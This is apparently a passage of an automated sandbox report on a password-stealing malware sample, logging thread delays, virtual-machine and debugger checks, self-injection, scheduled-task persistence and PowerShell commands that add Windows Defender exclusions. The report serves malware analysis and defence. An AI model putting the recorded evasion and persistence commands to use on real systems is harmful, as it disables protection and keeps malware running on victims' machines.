Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599828	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599717	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599606	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599495	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599387	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599228	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 598981	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98669	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98344	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97575	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97468	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97140	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96922	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96812	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96703	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96593	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96484	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96375	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96265	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96153	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 96047	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95937	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95826	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95719	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95609	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95500	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95390	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Thread delayed: delay time: 95281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599780
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599669
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599560
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599444
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99890
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99672
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99562
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99444
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99219
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98886
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98738
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98609
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98498
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98390
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98281
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98172
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 98062
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97953
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97844
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97733
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97625
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97515
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97406
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97297
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97187
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 97078
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96969
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96859
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96749
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96640
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96521
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96391
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96266
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96141
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 96031
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95922
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95812
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95703
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95594
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95484
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95375
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95265
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Thread delayed: delay time: 95156

Source: PUwpftrjIH.exe, 0000000C.00000002.4167963900.0000000000435000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000000.00000002.1724540848.0000000001042000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\xt
Source: PUwpftrjIH.exe, 0000000C.00000002.4167963900.0000000000435000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe, 00000007.00000002.4171077285.00000000012F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
Source: PUwpftrjIH.exe, 0000000C.00000002.4169095549.000000000168E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Code function: 7_2_011D7EC8 CheckRemoteDebuggerPresent,

7_2_011D7EC8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process queried: DebugPort

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Memory written: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Memory written: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp4201.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Process created: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe "C:\Users\user\AppData\Roaming\PUwpftrjIH.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
